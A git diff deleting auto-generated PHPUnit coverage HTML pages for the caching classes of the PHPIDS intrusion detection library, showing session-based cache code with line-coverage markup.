* -<span class="lineNum" id="container8"><a name="8"></a><a href="#8" id="line8"> 8</a> </span> : * Copyright (c) 2008 PHPIDS group (https://phpids.org) -<span class="lineNum" id="container9"><a name="9"></a><a href="#9" id="line9"> 9</a> </span> : * -<span class="lineNum" id="container10"><a name="10"></a><a href="#10" id="line10"> 10</a> </span> : * PHPIDS is free software; you can redistribute it and/or modify -<span class="lineNum" id="container11"><a name="11"></a><a href="#11" id="line11"> 11</a> </span> : * it under the terms of the GNU Lesser General Public License as published by -<span class="lineNum" id="container12"><a name="12"></a><a href="#12" id="line12"> 12</a> </span> : * the Free Software Foundation, version 3 of the License, or -<span class="lineNum" id="container13"><a name="13"></a><a href="#13" id="line13"> 13</a> </span> : * (at your option) any later version. -<span class="lineNum" id="container14"><a name="14"></a><a href="#14" id="line14"> 14</a> </span> : * -<span class="lineNum" id="container15"><a name="15"></a><a href="#15" id="line15"> 15</a> </span> : * PHPIDS is distributed in the hope that it will be useful, -<span class="lineNum" id="container16"><a name="16"></a><a href="#16" id="line16"> 16</a> </span> : * but WITHOUT ANY WARRANTY; without even the implied warranty of -<span class="lineNum" id="container17"><a name="17"></a><a href="#17" id="line17"> 17</a> </span> : * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the -<span class="lineNum" id="container18"><a name="18"></a><a href="#18" id="line18"> 18</a> </span> : * GNU Lesser General Public License for more details. -<span class="lineNum" id="container19"><a name="19"></a><a href="#19" id="line19"> 19</a> </span> : * -<span class="lineNum" id="container20"><a name="20"></a><a href="#20" id="line20"> 20</a> </span> : * You should have received a copy of the GNU Lesser General Public License -<span class="lineNum" id="container21"><a name="21"></a><a href="#21" id="line21"> 21</a> </span> : * along with PHPIDS. If not, see <http://www.gnu.org/licenses/>. -<span class="lineNum" id="container22"><a name="22"></a><a href="#22" id="line22"> 22</a> </span> : * -<span class="lineNum" id="container23"><a name="23"></a><a href="#23" id="line23"> 23</a> </span> : * PHP version 5.1.6+ -<span class="lineNum" id="container24"><a name="24"></a><a href="#24" id="line24"> 24</a> </span> : * -<span class="lineNum" id="container25"><a name="25"></a><a href="#25" id="line25"> 25</a> </span> : * @category Security -<span class="lineNum" id="container26"><a name="26"></a><a href="#26" id="line26"> 26</a> </span> : * @package PHPIDS -<span class="lineNum" id="container27"><a name="27"></a><a href="#27" id="line27"> 27</a> </span> : * @author Mario Heiderich <mario.heiderich@gmail.com> -<span class="lineNum" id="container28"><a name="28"></a><a href="#28" id="line28"> 28</a> </span> : * @author Christian Matthies <ch0012@gmail.com> -<span class="lineNum" id="container29"><a name="29"></a><a href="#29" id="line29"> 29</a> </span> : * @author Lars Strojny <lars@strojny.net> -<span class="lineNum" id="container30"><a name="30"></a><a href="#30" id="line30"> 30</a> </span> : * @license http://www.gnu.org/licenses/lgpl.html LGPL -<span class="lineNum" id="container31"><a name="31"></a><a href="#31" id="line31"> 31</a> </span> : * @link http://php-ids.org/ -<span class="lineNum" id="container32"><a name="32"></a><a href="#32" id="line32"> 32</a> </span> : */ -<span class="lineNum" id="container33"><a name="33"></a><a href="#33" id="line33"> 33</a> </span> : -<span class="lineNum" id="container34"><a name="34"></a><a href="#34" id="line34"> 34</a> </span> : /** -<span class="lineNum" id="container35"><a name="35"></a><a href="#35" id="line35"> 35</a> </span> : * Caching wrapper interface -<span class="lineNum" id="container36"><a name="36"></a><a href="#36" id="line36"> 36</a> </span> : * -<span class="lineNum" id="container37"><a name="37"></a><a href="#37" id="line37"> 37</a> </span> : * @category Security -<span class="lineNum" id="container38"><a name="38"></a><a href="#38" id="line38"> 38</a> </span> : * @package PHPIDS -<span class="lineNum" id="container39"><a name="39"></a><a href="#39" id="line39"> 39</a> </span> : * @author Christian Matthies <ch0012@gmail.com> -<span class="lineNum" id="container40"><a name="40"></a><a href="#40" id="line40"> 40</a> </span> : * @author Mario Heiderich <mario.heiderich@gmail.com> -<span class="lineNum" id="container41"><a name="41"></a><a href="#41" id="line41"> 41</a> </span> : * @author Lars Strojny <lars@strojny.net> -<span class="lineNum" id="container42"><a name="42"></a><a href="#42" id="line42"> 42</a> </span> : * @copyright 2007 The PHPIDS Group -<span class="lineNum" id="container43"><a name="43"></a><a href="#43" id="line43"> 43</a> </span> : * @version SVN: $Id:Interface.php 517 2007-09-15 15:04:13Z mario $ -<span class="lineNum" id="container44"><a name="44"></a><a href="#44" id="line44"> 44</a> </span> : * @license http://www.gnu.org/licenses/lgpl.html LGPL -<span class="lineNum" id="container45"><a name="45"></a><a href="#45" id="line45"> 45</a> </span> : * @since Version 0.4 -<span class="lineNum" id="container46"><a name="46"></a><a href="#46" id="line46"> 46</a> </span> : * @link http://php-ids.org/ -<span class="lineNum" id="container47"><a name="47"></a><a href="#47" id="line47"> 47</a> </span> : */ -<span class="lineNum" id="container48"><a name="48"></a><a href="#48" id="line48"> 48</a> </span><span class="lineCov"> 1 : interface IDS_Caching_Interface </span> -<span class="lineNum" id="container49"><a name="49"></a><a href="#49" id="line49"> 49</a> </span> : { -<span class="lineNum" id="container50"><a name="50"></a><a href="#50" id="line50"> 50</a> </span> : /** -<span class="lineNum" id="container51"><a name="51"></a><a href="#51" id="line51"> 51</a> </span> : * Interface method -<span class="lineNum" id="container52"><a name="52"></a><a href="#52" id="line52"> 52</a> </span> : * -<span class="lineNum" id="container53"><a name="53"></a><a href="#53" id="line53"> 53</a> </span> : * @param array $data the cache data -<span class="lineNum" id="container54"><a name="54"></a><a href="#54" id="line54"> 54</a> </span> : * -<span class="lineNum" id="container55"><a name="55"></a><a href="#55" id="line55"> 55</a> </span> : * @return void -<span class="lineNum" id="container56"><a name="56"></a><a href="#56" id="line56"> 56</a> </span> : */ -<span class="lineNum" id="container57"><a name="57"></a><a href="#57" id="line57"> 57</a> </span> : public function setCache(array $data); -<span class="lineNum" id="container58"><a name="58"></a><a href="#58" id="line58"> 58</a> </span> : -<span class="lineNum" id="container59"><a name="59"></a><a href="#59" id="line59"> 59</a> </span> : /** -<span class="lineNum" id="container60"><a name="60"></a><a href="#60" id="line60"> 60</a> </span> : * Interface method -<span class="lineNum" id="container61"><a name="61"></a><a href="#61" id="line61"> 61</a> </span> : * -<span class="lineNum" id="container62"><a name="62"></a><a href="#62" id="line62"> 62</a> </span> : * @return void -<span class="lineNum" id="container63"><a name="63"></a><a href="#63" id="line63"> 63</a> </span> : */ -<span class="lineNum" id="container64"><a name="64"></a><a href="#64" id="line64"> 64</a> </span> : public function getCache(); -<span class="lineNum" id="container65"><a name="65"></a><a href="#65" id="line65"> 65</a> </span> : } -<span class="lineNum" id="container66"><a name="66"></a><a href="#66" id="line66"> 66</a> </span> : -<span class="lineNum" id="container67"><a name="67"></a><a href="#67" id="line67"> 67</a> </span> : /* -<span class="lineNum" id="container68"><a name="68"></a><a href="#68" id="line68"> 68</a> </span> : * Local variables: -<span class="lineNum" id="container69"><a name="69"></a><a href="#69" id="line69"> 69</a> </span> : * tab-width: 4 -<span class="lineNum" id="container70"><a name="70"></a><a href="#70" id="line70"> 70</a> </span> : * c-basic-offset: 4 -<span class="lineNum" id="container71"><a name="71"></a><a href="#71" id="line71"> 71</a> </span> : * End: - -</pre> - </td> - </tr> - </table> - - <table width="100%" border="0" cellspacing="0" cellpadding="0"> - <tr><td class="ruler"><img src="glass.png" width="3" height="3" alt=""></td></tr> - <tr><td class="versionInfo">Generated by <a href="http://www.phpunit.de/">PHPUnit 3.3.1</a> and <a href="http://www.xdebug.org/">Xdebug 2.1.0-dev</a> at Mon Dec 22 13:57:42 CET 2008.</td></tr> - </table> - - <br /> - - <script language="javascript"> - $E = YAHOO.util.Event; - YAHOO.namespace("phpunit.container"); - YAHOO.phpunit.container.panelsData = { - "panel48": { - "header": "1 test covers line 48", - "body": "<ul><li class=\"testPassed\">testGetHTML(IDS_MonitorTest)</li></ul>", - "footer": "" - }, - "dummy": "" - }; - - YAHOO.phpunit.container.prepare = function (e) { - var elemId = $E.getTarget(e).id; - var line = elemId.substr(4); - var panelId = "panel" + line; - var containerId = "container" + line; - - var panelData = YAHOO.phpunit.container.panelsData[panelId]; - - var panel = new YAHOO.widget.Panel(panelId, { visible:false, draggable:false, close:true } ); - panel.setHeader(panelData["header"]); - panel.setBody(panelData["body"]); - panel.setFooter(panelData["footer"]); - panel.render(containerId); - - $E.addListener(elemId, "click", panel.show, panel, true); - $E.removeListener(elemId, "mouseover"); - }; - - function init() { - var ypc = YAHOO.phpunit.container; - for (var panelId in ypc.panelsData) { - var elemId = "line" + panelId.substr(5); - $E.addListener(elemId, "mouseover", ypc.prepare); - } - } - - $E.addListener(window, "load", init); - </script> - </body> -</html> diff --git a/apps/maarch_entreprise/tools/phpids/tests/coverage/Caching_Session.php.html b/apps/maarch_entreprise/tools/phpids/tests/coverage/Caching_Session.php.html deleted file mode 100755 index f64703ab1f46e34d88b1593c67222c6eddf0642e..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/phpids/tests/coverage/Caching_Session.php.html +++ /dev/null @@ -1,486 +0,0 @@ -<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"> - -<html lang="en"> - <head> - <meta http-equiv="Content-Type" content="text/html; charset=ISO-8859-1"> - <title>PHPIDS</title> - <link rel="stylesheet" type="text/css" href="style.css"> - <link rel="stylesheet" type="text/css" href="container.css"> - <script type="text/javascript" src="yahoo-dom-event.js"></script> - <script type="text/javascript" src="container-min.js"></script> - </head> - - <body class="yui-skin-sam"> - <table width="100%" border="0" cellspacing="0" cellpadding="0"> - <tr><td class="title">PHPIDS</td></tr> - <tr><td class="ruler"><img src="glass.png" width="3" height="3" alt=""></td></tr> - - <tr> - <td width="100%"> - <table cellpadding="1" border="0" width="100%"> - <tr> - <td class="headerItem" width="20%">Current file:</td> - <td class="headerValue" width="80%"><a href="index.html">/home/lstrojny/Projekte/php-ids/trunk/lib/IDS</a>/<a href="Caching.html">Caching</a>/<a href="Caching_Session.php.html">Session.php</a></td> - </tr> - <tr> - <td class="legendItem" width="20%">Legend:</td> - <td class="legendValue" width="80%"> - <span class="legendCov">executed</span> - <span class="legendNoCov">not executed</span> - <span class="legendDeadCode">dead code</span> - </td> - </tr> - </table> - </td> - </tr> - - <tr> - <td class="ruler"><img src="glass.png" width="3" height="3" alt=""></td> - </tr> - </table> - - <br /> - - <center> - <table width="90%" cellpadding="2" cellspacing="1" border="0"> - <tr> - <td class="tableHead" width="30%"> </td> - <td class="tableHead" colspan="9">Coverage</td> - </tr> - <tr> - <td class="tableHead"> </td> - <td class="tableHead" colspan="3">Classes</td> - <td class="tableHead" colspan="3">Methods</td> - <td class="tableHead" colspan="3">Lines</td> - </tr> - <tr> - <td class="coverItem">Total</td> - <td class="coverBar" align="center" width="100"> - <table border="0" cellspacing="0" cellpadding="1"> - <tr> - <td class="coverBarOutline"><img src="chameleon.png" width="100" height="10" alt="100.00 %"><img src="snow.png" width="0" height="10" alt="100.00%"></td> - </tr> - </table> - </td> - <td class="coverPerHi">100.00%</td> - <td class="coverNumHi">1 / 1</td> - <td class="coverBar" align="center" width="100"> - <table border="0" cellspacing="0" cellpadding="1"> - <tr> - <td class="coverBarOutline"><img src="chameleon.png" width="100" height="10" alt="100.00 %"><img src="snow.png" width="0" height="10" alt="100.00%"></td> - </tr> - </table> - </td> - <td class="coverPerHi">100.00%</td> - <td class="coverNumHi">4 / 4</td> - <td class="coverBar" align="center" width="100"> - <table border="0" cellspacing="0" cellpadding="1"> - <tr> - <td class="coverBarOutline"><img src="chameleon.png" width="100" height="10" alt="100.00 %"><img src="snow.png" width="0" height="10" alt="100.00%"></td> - </tr> - </table> - </td> - <td class="coverPerHi">100.00%</td> - <td class="coverNumHi">14 / 14</td> - </tr> - - <tr> - <td class="tableHead" colspan="10"> </td> - </tr> - <tr> - <td class="coverItem"><b><a href="#52">IDS_Caching_Session</a></b></td> - <td class="coverBar" align="center" width="100"> - <table border="0" cellspacing="0" cellpadding="1"> - <tr> - <td class="coverBarOutline"><img src="chameleon.png" width="100" height="10" alt="100.00 %"><img src="snow.png" width="0" height="10" alt="100.00%"></td> - </tr> - </table> - </td> - <td class="coverPerHi">100.00%</td> - <td class="coverNumHi">1 / 1</td> - <td class="coverBar" align="center" width="100"> - <table border="0" cellspacing="0" cellpadding="1"> - <tr> - <td class="coverBarOutline"><img src="chameleon.png" width="100" height="10" alt="100.00 %"><img src="snow.png" width="0" height="10" alt="100.00%"></td> - </tr> - </table> - </td> - <td class="coverPerHi">100.00%</td> - <td class="coverNumHi">4 / 4</td> - <td class="coverBar" align="center" width="100"> - <table border="0" cellspacing="0" cellpadding="1"> - <tr> - <td class="coverBarOutline"><img src="chameleon.png" width="100" height="10" alt="100.00 %"><img src="snow.png" width="0" height="10" alt="100.00%"></td> - </tr> - </table> - </td> - <td class="coverPerHi">100.00%</td> - <td class="coverNumHi">13 / 13</td> - </tr> - - <tr> - <td class="coverFile" colspan="4"> <a href="#84">public function __construct($type, $init)</a></td> - <td class="coverBar" align="center" width="100"> - <table border="0" cellspacing="0" cellpadding="1"> - <tr> - <td class="coverBarOutline"><img src="chameleon.png" width="100" height="10" alt="100.00 %"><img src="snow.png" width="0" height="10" alt="100.00%"></td> - </tr> - </table> - </td> - <td class="coverPerHi">100.00%</td> - <td class="coverNumHi">1 / 1</td> - <td class="coverBar" align="center" width="100"> - <table border="0" cellspacing="0" cellpadding="1"> - <tr> - <td class="coverBarOutline"><img src="chameleon.png" width="100" height="10" alt="100.00 %"><img src="snow.png" width="0" height="10" alt="100.00%"></td> - </tr> - </table> - </td> - <td class="coverPerHi">100.00%</td> - <td class="coverNumHi">3 / 3</td> - </tr> - - <tr> - <td class="coverFile" colspan="4"> <a href="#98">public static function getInstance($type, $init)</a></td> - <td class="coverBar" align="center" width="100"> - <table border="0" cellspacing="0" cellpadding="1"> - <tr> - <td class="coverBarOutline"><img src="chameleon.png" width="100" height="10" alt="100.00 %"><img src="snow.png" width="0" height="10" alt="100.00%"></td> - </tr> - </table> - </td> - <td class="coverPerHi">100.00%</td> - <td class="coverNumHi">1 / 1</td> - <td class="coverBar" align="center" width="100"> - <table border="0" cellspacing="0" cellpadding="1"> - <tr> - <td class="coverBarOutline"><img src="chameleon.png" width="100" height="10" alt="100.00 %"><img src="snow.png" width="0" height="10" alt="100.00%"></td> - </tr> - </table> - </td> - <td class="coverPerHi">100.00%</td> - <td class="coverNumHi">4 / 4</td> - </tr> - - <tr> - <td class="coverFile" colspan="4"> <a href="#115">public function setCache(array $data)</a></td> - <td class="coverBar" align="center" width="100"> - <table border="0" cellspacing="0" cellpadding="1"> - <tr> - <td class="coverBarOutline"><img src="chameleon.png" width="100" height="10" alt="100.00 %"><img src="snow.png" width="0" height="10" alt="100.00%"></td> - </tr> - </table> - </td> - <td class="coverPerHi">100.00%</td> - <td class="coverNumHi">1 / 1</td> - <td class="coverBar" align="center" width="100"> - <table border="0" cellspacing="0" cellpadding="1"> - <tr> - <td class="coverBarOutline"><img src="chameleon.png" width="100" height="10" alt="100.00 %"><img src="snow.png" width="0" height="10" alt="100.00%"></td> - </tr> - </table> - </td> - <td class="coverPerHi">100.00%</td> - <td class="coverNumHi">2 / 2</td> - </tr> - - <tr> - <td class="coverFile" colspan="4"> <a href="#129">public function getCache()</a></td> - <td class="coverBar" align="center" width="100"> - <table border="0" cellspacing="0" cellpadding="1"> - <tr> - <td class="coverBarOutline"><img src="chameleon.png" width="100" height="10" alt="100.00 %"><img src="snow.png" width="0" height="10" alt="100.00%"></td> - </tr> - </table> - </td> - <td class="coverPerHi">100.00%</td> - <td class="coverNumHi">1 / 1</td> - <td class="coverBar" align="center" width="100"> - <table border="0" cellspacing="0" cellpadding="1"> - <tr> - <td class="coverBarOutline"><img src="chameleon.png" width="100" height="10" alt="100.00 %"><img src="snow.png" width="0" height="10" alt="100.00%"></td> - </tr> - </table> - </td> - <td class="coverPerHi">100.00%</td> - <td class="coverNumHi">3 / 3</td> - </tr> - - - </table> - </center> - - <br /> - - <table cellpadding="0" cellspacing="0" border="0"> - <tr> - <td><br /></td> - </tr> - <tr> - <td> -<pre class="source"> -<span class="lineNum" id="container1"><a name="1"></a><a href="#1" id="line1"> 1</a> </span> : <?php -<span class="lineNum" id="container2"><a name="2"></a><a href="#2" id="line2"> 2</a> </span> : -<span class="lineNum" id="container3"><a name="3"></a><a href="#3" id="line3"> 3</a> </span> : /** -<span class="lineNum" id="container4"><a name="4"></a><a href="#4" id="line4"> 4</a> </span> : * PHPIDS -<span class="lineNum" id="container5"><a name="5"></a><a href="#5" id="line5"> 5</a> </span> : * -<span class="lineNum" id="container6"><a name="6"></a><a href="#6" id="line6"> 6</a> </span> : * Requirements: PHP5, SimpleXML -<span class="lineNum" id="container7"><a name="7"></a><a href="#7" id="line7"> 7</a> </span> : * -<span class="lineNum" id="container8"><a name="8"></a><a href="#8" id="line8"> 8</a> </span> : * Copyright (c) 2008 PHPIDS group (https://phpids.org) -<span class="lineNum" id="container9"><a name="9"></a><a href="#9" id="line9"> 9</a> </span> : * -<span class="lineNum" id="container10"><a name="10"></a><a href="#10" id="line10"> 10</a> </span> : * PHPIDS is free software; you can redistribute it and/or modify -<span class="lineNum" id="container11"><a name="11"></a><a href="#11" id="line11"> 11</a> </span> : * it under the terms of the GNU Lesser General Public License as published by -<span class="lineNum" id="container12"><a name="12"></a><a href="#12" id="line12"> 12</a> </span> : * the Free Software Foundation, version 3 of the License, or -<span class="lineNum" id="container13"><a name="13"></a><a href="#13" id="line13"> 13</a> </span> : * (at your option) any later version. -<span class="lineNum" id="container14"><a name="14"></a><a href="#14" id="line14"> 14</a> </span> : * -<span class="lineNum" id="container15"><a name="15"></a><a href="#15" id="line15"> 15</a> </span> : * PHPIDS is distributed in the hope that it will be useful, -<span class="lineNum" id="container16"><a name="16"></a><a href="#16" id="line16"> 16</a> </span> : * but WITHOUT ANY WARRANTY; without even the implied warranty of -<span class="lineNum" id="container17"><a name="17"></a><a href="#17" id="line17"> 17</a> </span> : * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the -<span class="lineNum" id="container18"><a name="18"></a><a href="#18" id="line18"> 18</a> </span> : * GNU Lesser General Public License for more details. -<span class="lineNum" id="container19"><a name="19"></a><a href="#19" id="line19"> 19</a> </span> : * -<span class="lineNum" id="container20"><a name="20"></a><a href="#20" id="line20"> 20</a> </span> : * You should have received a copy of the GNU Lesser General Public License -<span class="lineNum" id="container21"><a name="21"></a><a href="#21" id="line21"> 21</a> </span> : * along with PHPIDS. If not, see <http://www.gnu.org/licenses/>. -<span class="lineNum" id="container22"><a name="22"></a><a href="#22" id="line22"> 22</a> </span> : * -<span class="lineNum" id="container23"><a name="23"></a><a href="#23" id="line23"> 23</a> </span> : * PHP version 5.1.6+ -<span class="lineNum" id="container24"><a name="24"></a><a href="#24" id="line24"> 24</a> </span> : * -<span class="lineNum" id="container25"><a name="25"></a><a href="#25" id="line25"> 25</a> </span> : * @category Security -<span class="lineNum" id="container26"><a name="26"></a><a href="#26" id="line26"> 26</a> </span> : * @package PHPIDS -<span class="lineNum" id="container27"><a name="27"></a><a href="#27" id="line27"> 27</a> </span> : * @author Mario Heiderich <mario.heiderich@gmail.com> -<span class="lineNum" id="container28"><a name="28"></a><a href="#28" id="line28"> 28</a> </span> : * @author Christian Matthies <ch0012@gmail.com> -<span class="lineNum" id="container29"><a name="29"></a><a href="#29" id="line29"> 29</a> </span> : * @author Lars Strojny <lars@strojny.net> -<span class="lineNum" id="container30"><a name="30"></a><a href="#30" id="line30"> 30</a> </span> : * @license http://www.gnu.org/licenses/lgpl.html LGPL -<span class="lineNum" id="container31"><a name="31"></a><a href="#31" id="line31"> 31</a> </span> : * @link http://php-ids.org/ -<span class="lineNum" id="container32"><a name="32"></a><a href="#32" id="line32"> 32</a> </span> : */ -<span class="lineNum" id="container33"><a name="33"></a><a href="#33" id="line33"> 33</a> </span> : -<span class="lineNum" id="container34"><a name="34"></a><a href="#34" id="line34"> 34</a> </span><span class="lineCov"> 1 : require_once 'IDS/Caching/Interface.php'; </span> -<span class="lineNum" id="container35"><a name="35"></a><a href="#35" id="line35"> 35</a> </span> : -<span class="lineNum" id="container36"><a name="36"></a><a href="#36" id="line36"> 36</a> </span> : /** -<span class="lineNum" id="container37"><a name="37"></a><a href="#37" id="line37"> 37</a> </span> : * File caching wrapper -<span class="lineNum" id="container38"><a name="38"></a><a href="#38" id="line38"> 38</a> </span> : * -<span class="lineNum" id="container39"><a name="39"></a><a href="#39" id="line39"> 39</a> </span> : * This class inhabits functionality to get and set cache via session. -<span class="lineNum" id="container40"><a name="40"></a><a href="#40" id="line40"> 40</a> </span> : * -<span class="lineNum" id="container41"><a name="41"></a><a href="#41" id="line41"> 41</a> </span> : * @category Security -<span class="lineNum" id="container42"><a name="42"></a><a href="#42" id="line42"> 42</a> </span> : * @package PHPIDS -<span class="lineNum" id="container43"><a name="43"></a><a href="#43" id="line43"> 43</a> </span> : * @author Christian Matthies <ch0012@gmail.com> -<span class="lineNum" id="container44"><a name="44"></a><a href="#44" id="line44"> 44</a> </span> : * @author Mario Heiderich <mario.heiderich@gmail.com> -<span class="lineNum" id="container45"><a name="45"></a><a href="#45" id="line45"> 45</a> </span> : * @author Lars Strojny <lars@strojny.net> -<span class="lineNum" id="container46"><a name="46"></a><a href="#46" id="line46"> 46</a> </span> : * @copyright 2007 The PHPIDS Group -<span class="lineNum" id="container47"><a name="47"></a><a href="#47" id="line47"> 47</a> </span> : * @license http://www.gnu.org/licenses/lgpl.html LGPL -<span class="lineNum" id="container48"><a name="48"></a><a href="#48" id="line48"> 48</a> </span> : * @version Release: $Id:Session.php 517 2007-09-15 15:04:13Z mario $ -<span class="lineNum" id="container49"><a name="49"></a><a href="#49" id="line49"> 49</a> </span> : * @link http://php-ids.org/ -<span class="lineNum" id="container50"><a name="50"></a><a href="#50" id="line50"> 50</a> </span> : * @since Version 0.4 -<span class="lineNum" id="container51"><a name="51"></a><a href="#51" id="line51"> 51</a> </span> : */ -<span class="lineNum" id="container52"><a name="52"></a><a href="#52" id="line52"> 52</a> </span><span class="lineCov"> 1 : class IDS_Caching_Session implements IDS_Caching_Interface </span> -<span class="lineNum" id="container53"><a name="53"></a><a href="#53" id="line53"> 53</a> </span> : { -<span class="lineNum" id="container54"><a name="54"></a><a href="#54" id="line54"> 54</a> </span> : -<span class="lineNum" id="container55"><a name="55"></a><a href="#55" id="line55"> 55</a> </span> : /** -<span class="lineNum" id="container56"><a name="56"></a><a href="#56" id="line56"> 56</a> </span> : * Caching type -<span class="lineNum" id="container57"><a name="57"></a><a href="#57" id="line57"> 57</a> </span> : * -<span class="lineNum" id="container58"><a name="58"></a><a href="#58" id="line58"> 58</a> </span> : * @var string -<span class="lineNum" id="container59"><a name="59"></a><a href="#59" id="line59"> 59</a> </span> : */ -<span class="lineNum" id="container60"><a name="60"></a><a href="#60" id="line60"> 60</a> </span> : private $type = null; -<span class="lineNum" id="container61"><a name="61"></a><a href="#61" id="line61"> 61</a> </span> : -<span class="lineNum" id="container62"><a name="62"></a><a href="#62" id="line62"> 62</a> </span> : /** -<span class="lineNum" id="container63"><a name="63"></a><a href="#63" id="line63"> 63</a> </span> : * Cache configuration -<span class="lineNum" id="container64"><a name="64"></a><a href="#64" id="line64"> 64</a> </span> : * -<span class="lineNum" id="container65"><a name="65"></a><a href="#65" id="line65"> 65</a> </span> : * @var array -<span class="lineNum" id="container66"><a name="66"></a><a href="#66" id="line66"> 66</a> </span> : */ -<span class="lineNum" id="container67"><a name="67"></a><a href="#67" id="line67"> 67</a> </span> : private $config = null; -<span class="lineNum" id="container68"><a name="68"></a><a href="#68" id="line68"> 68</a> </span> : -<span class="lineNum" id="container69"><a name="69"></a><a href="#69" id="line69"> 69</a> </span> : /** -<span class="lineNum" id="container70"><a name="70"></a><a href="#70" id="line70"> 70</a> </span> : * Holds an instance of this class -<span class="lineNum" id="container71"><a name="71"></a><a href="#71" id="line71"> 71</a> </span> : * -<span class="lineNum" id="container72"><a name="72"></a><a href="#72" id="line72"> 72</a> </span> : * @var object -<span class="lineNum" id="container73"><a name="73"></a><a href="#73" id="line73"> 73</a> </span> : */ -<span class="lineNum" id="container74"><a name="74"></a><a href="#74" id="line74"> 74</a> </span> : private static $cachingInstance = null; -<span class="lineNum" id="container75"><a name="75"></a><a href="#75" id="line75"> 75</a> </span> : -<span class="lineNum" id="container76"><a name="76"></a><a href="#76" id="line76"> 76</a> </span> : /** -<span class="lineNum" id="container77"><a name="77"></a><a href="#77" id="line77"> 77</a> </span> : * Constructor -<span class="lineNum" id="container78"><a name="78"></a><a href="#78" id="line78"> 78</a> </span> : * -<span class="lineNum" id="container79"><a name="79"></a><a href="#79" id="line79"> 79</a> </span> : * @param string $type caching type -<span class="lineNum" id="container80"><a name="80"></a><a href="#80" id="line80"> 80</a> </span> : * @param array $init the IDS_Init object -<span class="lineNum" id="container81"><a name="81"></a><a href="#81" id="line81"> 81</a> </span> : * -<span class="lineNum" id="container82"><a name="82"></a><a href="#82" id="line82"> 82</a> </span> : * @return void -<span class="lineNum" id="container83"><a name="83"></a><a href="#83" id="line83"> 83</a> </span> : */ -<span class="lineNum" id="container84"><a name="84"></a><a href="#84" id="line84"> 84</a> </span> : public function __construct($type, $init) -<span class="lineNum" id="container85"><a name="85"></a><a href="#85" id="line85"> 85</a> </span> : { -<span class="lineNum" id="container86"><a name="86"></a><a href="#86" id="line86"> 86</a> </span><span class="lineCov"> 1 : $this->type = $type; </span> -<span class="lineNum" id="container87"><a name="87"></a><a href="#87" id="line87"> 87</a> </span><span class="lineCov"> 1 : $this->config = $init->config['Caching']; </span> -<span class="lineNum" id="container88"><a name="88"></a><a href="#88" id="line88"> 88</a> </span><span class="lineCov"> 1 : } </span> -<span class="lineNum" id="container89"><a name="89"></a><a href="#89" id="line89"> 89</a> </span> : -<span class="lineNum" id="container90"><a name="90"></a><a href="#90" id="line90"> 90</a> </span> : /** -<span class="lineNum" id="container91"><a name="91"></a><a href="#91" id="line91"> 91</a> </span> : * Returns an instance of this class -<span class="lineNum" id="container92"><a name="92"></a><a href="#92" id="line92"> 92</a> </span> : * -<span class="lineNum" id="container93"><a name="93"></a><a href="#93" id="line93"> 93</a> </span> : * @param string $type caching type -<span class="lineNum" id="container94"><a name="94"></a><a href="#94" id="line94"> 94</a> </span> : * @param array $init the IDS_Init object -<span class="lineNum" id="container95"><a name="95"></a><a href="#95" id="line95"> 95</a> </span> : * -<span class="lineNum" id="container96"><a name="96"></a><a href="#96" id="line96"> 96</a> </span> : * @return object $this -<span class="lineNum" id="container97"><a name="97"></a><a href="#97" id="line97"> 97</a> </span> : */ -<span class="lineNum" id="container98"><a name="98"></a><a href="#98" id="line98"> 98</a> </span> : public static function getInstance($type, $init) -<span class="lineNum" id="container99"><a name="99"></a><a href="#99" id="line99"> 99</a> </span> : { -<span class="lineNum" id="container100"><a name="100"></a><a href="#100" id="line100"> 100</a> </span> : -<span class="lineNum" id="container101"><a name="101"></a><a href="#101" id="line101"> 101</a> </span><span class="lineCov"> 4 : if (!self::$cachingInstance) { </span> -<span class="lineNum" id="container102"><a name="102"></a><a href="#102" id="line102"> 102</a> </span><span class="lineCov"> 1 : self::$cachingInstance = new IDS_Caching_Session($type, $init); </span> -<span class="lineNum" id="container103"><a name="103"></a><a href="#103" id="line103"> 103</a> </span><span class="lineCov"> 1 : } </span> -<span class="lineNum" id="container104"><a name="104"></a><a href="#104" id="line104"> 104</a> </span> : -<span class="lineNum" id="container105"><a name="105"></a><a href="#105" id="line105"> 105</a> </span><span class="lineCov"> 4 : return self::$cachingInstance; </span> -<span class="lineNum" id="container106"><a name="106"></a><a href="#106" id="line106"> 106</a> </span><span class="lineDeadCode"> : } </span> -<span class="lineNum" id="container107"><a name="107"></a><a href="#107" id="line107"> 107</a> </span> : -<span class="lineNum" id="container108"><a name="108"></a><a href="#108" id="line108"> 108</a> </span> : /** -<span class="lineNum" id="container109"><a name="109"></a><a href="#109" id="line109"> 109</a> </span> : * Writes cache data into the session -<span class="lineNum" id="container110"><a name="110"></a><a href="#110" id="line110"> 110</a> </span> : * -<span class="lineNum" id="container111"><a name="111"></a><a href="#111" id="line111"> 111</a> </span> : * @param array $data the caching data -<span class="lineNum" id="container112"><a name="112"></a><a href="#112" id="line112"> 112</a> </span> : * -<span class="lineNum" id="container113"><a name="113"></a><a href="#113" id="line113"> 113</a> </span> : * @return object $this -<span class="lineNum" id="container114"><a name="114"></a><a href="#114" id="line114"> 114</a> </span> : */ -<span class="lineNum" id="container115"><a name="115"></a><a href="#115" id="line115"> 115</a> </span> : public function setCache(array $data) -<span class="lineNum" id="container116"><a name="116"></a><a href="#116" id="line116"> 116</a> </span> : { -<span class="lineNum" id="container117"><a name="117"></a><a href="#117" id="line117"> 117</a> </span> : -<span class="lineNum" id="container118"><a name="118"></a><a href="#118" id="line118"> 118</a> </span><span class="lineCov"> 3 : $_SESSION['PHPIDS'][$this->type] = $data; </span> -<span class="lineNum" id="container119"><a name="119"></a><a href="#119" id="line119"> 119</a> </span><span class="lineCov"> 3 : return $this; </span> -<span class="lineNum" id="container120"><a name="120"></a><a href="#120" id="line120"> 120</a> </span><span class="lineDeadCode"> : } </span> -<span class="lineNum" id="container121"><a name="121"></a><a href="#121" id="line121"> 121</a> </span> : -<span class="lineNum" id="container122"><a name="122"></a><a href="#122" id="line122"> 122</a> </span> : /** -<span class="lineNum" id="container123"><a name="123"></a><a href="#123" id="line123"> 123</a> </span> : * Returns the cached data -<span class="lineNum" id="container124"><a name="124"></a><a href="#124" id="line124"> 124</a> </span> : * -<span class="lineNum" id="container125"><a name="125"></a><a href="#125" id="line125"> 125</a> </span> : * Note that this method returns false if either type or file cache is not set -<span 